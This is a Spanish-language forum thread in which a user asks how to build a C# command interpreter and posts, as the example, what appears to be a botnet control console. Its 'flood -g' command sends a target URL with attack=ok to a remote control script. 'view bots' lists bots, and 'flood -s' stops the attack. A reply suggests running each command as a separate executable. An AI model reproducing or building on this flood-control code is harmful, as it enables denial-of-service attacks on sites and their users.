Creando un interprete de comandos en c#

Iniciado por boy-ka, 30 Septiembre 2014, 19:16 PM

0 Miembros y 1 Visitante están viendo este tema.

boy-ka

Hola  ::) tengo una pequeña duda de como hacen los interpretes de código o simplemente una aplicación con interacción al usuario el cual puede decirle que hacer.

Bueno, yo en C sharp he hecho algo como esto:

Código (csharp) [Seleccionar]


  class Program
    {
       public static string command;
        static void Main(string[] args)
        {
            Console.ForegroundColor = ConsoleColor.White;
         
            string a =  System.IO.File.ReadAllText(@"D://films.txt");

            Console.WriteLine(a);
            Console.Beep();
            Console.Title = ("Samambleke");

            Console.Write("@root: ");
            command = Console.ReadLine();

            if (command.Contains("flood -g "))
            {
                Console.ForegroundColor = ConsoleColor.Green;
                command = command.Replace("flood -g", "");

                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Testing the server..");
                //Probando estado del servidor
                try
                {
                var img = (new WebClient().DownloadString(command));

                string URL = "http://server.com/zone.php";
                WebClient webClient = new WebClient();

                NameValueCollection formData = new NameValueCollection();

                if (command.Contains(" "))
                {
                    command = command.Replace(" ", "");
                }

                formData["page"] = command;
                formData["attack"] ="ok";

                byte[] responseBytes = webClient.UploadValues(URL, "POST", formData);
                string responsefromserver = Encoding.UTF8.GetString(responseBytes);
                Console.WriteLine(responsefromserver);
                webClient.Dispose();

                Console.ForegroundColor = ConsoleColor.Green;

                Console.Write(" ----    Server    ---- ");

                Console.WriteLine(img);
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("_______________________________________");

               
                Console.Write("Status attack: ");             
                Console.ForegroundColor = ConsoleColor.Green;
                Console.Write("Send \n");
               
                }
                catch
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("Error can that server is overloaded or there is a problem in the conexion to server");
                    OnError();
                }

            }
            else if (command == "")
            {
                OnError();
            }
            else if (command == "view bots")
            {
                string page = (new WebClient().DownloadString("http://server.com/pagina.txt");

                if (page.Contains("http://"))
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                }
                string e = System.IO.File.ReadAllText(@"D://films2.txt");

                Console.WriteLine(e);
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(page);

            }
            else if (command == "flood -s")
            {


                try
                {
                    string URL = "http://server.com/zone.php";
                    WebClient webClient = new WebClient();

                    NameValueCollection formData = new NameValueCollection();

                    if (command.Contains(" "))
                    {
                        command = command.Replace(" ", "");
                    }

                    formData["page"] = "none";
                    formData["attack"] = "no";


                    byte[] responseBytes = webClient.UploadValues(URL, "POST", formData);
                    string responsefromserver = Encoding.UTF8.GetString(responseBytes);
                    webClient.Dispose();
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.Write("Status attack: ");
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.Write("OFF \n");
                }
                catch
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("Error in conexion");

                }
            }
            else if (command == "clear")
            {
                Console.Clear();
            }
            else if (command == "exit")
            {
                Environment.Exit(1);
            }
            else
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("Command: " + command + " unknow");
                OnError();
            }
            OnError();
        }




Bueno, esto lo uso para ir escribiendo comandos en la consola y que vayan pasando cosas... efectivamente funciona, pero, ¿Existe otro método más sofisticado de escribir comandos?

Conozco cómo detectarlo con switch en lugar de utilizar if, pero digo yo, como lo tengo aquí ¿sería la forma en que tú lo harias?

O como he preguntado antes, ¿existe un modo más facil de hacerlo? pd: Con esto me basta para hacerlo, simplemente quiero opinión de ustedes, gracias por leer espero tu respuesta.

Shout

Yo haría un intérprete que vaya llamando a archivos .exe en cada comando. p.ej.

> do_something -f 3

Llamaría a do_something.exe con argumentos -f y 3.
Así se podría extender fácilmente la consola sin mucho esfuerzo
I'll bring you death and pestilence, I'll bring you down on my own